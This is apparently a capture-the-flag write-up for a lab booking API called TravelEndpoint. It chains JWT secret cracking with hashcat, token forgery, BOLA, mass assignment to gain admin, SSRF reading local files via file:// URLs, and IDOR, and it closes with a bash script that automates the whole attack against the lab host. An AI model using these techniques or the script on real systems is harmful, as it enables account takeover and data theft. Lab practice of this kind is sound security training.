TravelEndpoint: 2025
"This challenge immerses participants in a simulated booking API environment, testing their ability to discover and exploit authorization flaws and misconfigurations. Participants will navigate real-world API security scenarios, including unauthorized data access and privilege escalation. They will work towards uncovering the hidden flag by strategically analyzing API requests, understanding the back-end logic, and chaining multiple vulnerabilities. The challenge emphasizes critical thinking and a hands-on approach to API security assessment, requiring precision and creativity to bypass protections and achieve the final objective."
Leaderboard

CWE
CWE-639: Authorized Bypass Through User Controlled Key
Broken Object Level Authorization (BOLA)
Insecure Direct Object Reference (IDOR)
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Mass Assignment
CWE-918: Server Side Request Forgery (SSRF)
Tools & Techniques
Fuzzing web apps with Ffuf
jwt.io
curl
Burp Suite
Hashcat
Broken Object Level Authorization(BOLA)
Mass Assignment
Insecure Direct Object Reference
Server Side Request Forgery
bash scripting
Credentials
we are provided user/guest credentials to start from an authorized pov
alice:Alice@123
Enumeration
Login Page
Given the description of the challenge and the airplane logo it looks like a normal airline site
I ignored the hint to not waste time brute forcing users/passwords

Login Page: Source Code
the source code reveals how the web app is handling login requests to /api/auth/login
after logging in the user is set a JWT and is redirected to /dashboard

/api/auth/login
testing login using our credentials

jwt in the data portion of the http response

dashboard

dashboard: source code
the source code revealed some interesting api endpoints that we could play around with
whenever we want to go to a certain endpoint (e.g. /api/bookings) it checks if we have a valid jwt in the Authorization header of our request, if we don't it simply logs us out


/api/bookings
testing /api/bookings using our/alice's jwt


Fuzzing Directories

other than the endpoints found earlier we also have /api/fetch

JWT Attacks
jwt.io

Changing user_id:2

i tried changing the user_id value to 2 to see if we can gain access to another user's data, but we got the error "Invalid Token"

Cracking the jwt secret with hashcat

if we try to crack our jwt's secret using a wordlist like rockyou we get the secret "supersecret"

Creating a valid admin token with user_id:2
we can now generate a valid jwt for any user using this secret



if we make a request to /api/bookings using user_id : 2 jwt we get 200 OK, meaning it's a valid token
Who is Admin?
To verify that user_id : 2 is an admin we can analyze the error messages when making requests to /api/fetch, using user_id : 1 jwt we get "Unauthorized: admin access required"

But when using a valid user_id : 2 jwt we no longer get the admin access required error, so this must mean that user_id : 2 is the admin

Some users have more privileges than others. Can you find something they shouldn't have left exposed?
at this point we have:
a list of /api endpoints
the secret to create valid jwt's for any user, especially the admin user, user_id : 2
/api/fetch endpoint that is only accessible to the admin
Broken Object Level Authorization (BOLA)
I didn't really think about this endpoint until i researched/studied a bit more, and it turns out this is a common endpoint for some APIs
or you could've used a fuzzed using a wordlist of common api endpoints(not sure why it didnt show up earlier, maybe i should've waited a bit longer)

All of these endpoints really stand out, especially the /api/admin/reports(which we will look at later), but another one that stands out is /api/users/{id} that reveals user details by ID
if we request our own information it reveals our email, id , and password hash

But what if we try requesting the admin information?
a BOLA vulnerability!
meaning we could request this information as any user
no authorization checks on who is requesting said information

fuzzing for all possible/existing users
8 users

Sometimes what you send isn't what's saved. Can you manipulate the system to reveal what is hidden?
Mass Assignment
i got curious as to what the /api/users/update endpoint does
maybe we can update our user's role to admin?

Mass Assignment vuln!, we are now admin

Certain reports are meant for specific eyes only. Can you access what's not meant for you?
/api/admin/reports
now that we are admin we can access endpoints like /api/admin/reports
you could've also used a valid admin jwt using the secret and user_id: 2

A system's curiosity can sometimes lead it to unexpected places. Can you make it fetch something valuable?
Server Side Request Forgery
At this point:
you can use a valid admin jwt token by generating one in jwt.io using the secret
or you're an admin after exploiting the mass assignment vulnerability
/api/fetch returns error Admin access required when you make a request with an invalid admin token
but when you make a request with a valid admin token you get the error below

As with any other SSRF vulnerability i did try fuzzing for internal ports but nothing
so i instead tried fuzzing for url parameters and i got
/api/fetch?url=<value>


if we try to make the web app fetch its own source code, it works!, ssrf verified

and of course, the classic /etc/passwd, most are /nologin, so we are not meant to get a shell or RCE via an internal service in this case
Right? i couldve gone for the Werkzeug console pin exploit, but none of the users have some form of a login shell

another secret information disclosure

i tried a random POST request to /api/bookings to see if i can get some valuable error messages


and i did! the werkzeug console/debugger error message returned the app location /app/app.py

another secret disclosed

this is kind of cheesy but this is how i got the ssrf flag(other alternatives paths are mentioned towards the end)


Data is only as secure as its weakest link. Can you uncover information that shouldn't be accessible?
Insecure Direct Object References (IDOR)
Initially, this was the first flag i discovered while i was playing around with the JWT and cracking the secret
but by using the secret we can create valid tokens for other users and request their information bookings,transactions etc as that user


travelEndpoint.sh
a script i wrote after solving that automates the challenge
#!/usr/bin/bash
# Author: 022y
# Blog: https://0zzy.gitbook.io/0zzy-cyber
# Desc: Bash script to automate INE's TravelEndpoint Endpoint CTF
URL="http://ctf.ine.local"
USER="alice"
PASS="Alice@123"
function api_login {
# Retrieve jwt token
echo -e "[*] Logging in as $USER"
JWT_TOKEN=$(curl -s $URL/api/auth/login -X POST -H 'Content-Type: application/json' -d "{\"username\":\"$USER\",\"password\":\"$PASS\"}" | grep "jwt" | awk '{print $2}' | cut -d',' -f1 | cut -d'"' -f2)
echo -e "\tJWT for $USER: $JWT_TOKEN\n"
sleep 2
}
function crack_jwt {
echo "[*] Cracking JWT"
CRACK_CMD=$(hashcat -a 0 -m 16500 $JWT_TOKEN /usr/share/wordlists/rockyou.txt --quiet)
SECRET=$(hashcat -a 0 -m $JWT_TOKEN --show | cut -d':' -f2)
echo -e "\tjwt secret: $SECRET\n"
sleep 5
}
function bola {
# anyone could view anyones info, no need to be an admin can use our alice jwt
echo -e "[*] Broken Object Level Authorization(BOLA) Vuln: \n"
admin_id="2"
curl -s $URL/api/users/$admin_id -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN"
echo "\n"
sleep 5
}
function mass_assignment {
echo -e "[*] Mass Assignment Vuln: Assigning ourselves the admin role\n"
curl -s $URL/api/users/update -X POST -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN" -d '{"user_id":"1","role":"admin"}'
echo -e "\n"
sleep 5
}
function admin_reports {
echo -e "[*] Now an admin, retrieving updated jwt token:"
api_login
curl -s $URL/api/admin/reports -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN"
echo -e "\n"
sleep 5
}
function ssrf {
echo -e "Server Side Request Forgery Vuln:"
curl -s $URL/api/fetch?url=file:///tmp/flag4.txt -H "Authorization: Bearer $JWT_TOKEN"
}
function idor {
echo -e "[*] Use our original jwt token: $JWT_TOKEN, and dont forget to use the secret $SECRET"
read -p "Go to jwt.io and change user_id to 3 and enter it here:" user_id_3_jwt
echo -e "\tRetrieving user_id 3 /api/bookings..."
curl -s $URL/api/bookings -H "Content-Type: application/json" -H "Authorization: Bearer $user_id_3_jwt"
}
echo -e "[*] INE CTF TravelEndpoint CTF: Flag retrieval/PoC only, full writeup at 0zzy.gitbook.io\n"
api_login
crack_jwt
bola
mass_assignment
ssrf
idor
Alternatives
Crack JWT secret OR Information Disclosure via the Werkzeug Error leaking the Secret
Escalating to Admin Privileges
Using the secret to get a valid jwt with id:2
OR abusing the mass assignment vuln to give ourselves the admin role
I couldn't see any other way of getting the ssrf flag without the Werkzeug error revealing the app source code location /app/app.py, unless you fuzzed for files or had a luck guessing /tmp/flag4.txt, or fuzzed for the source code location first
Relevant Learning Sources
Last updated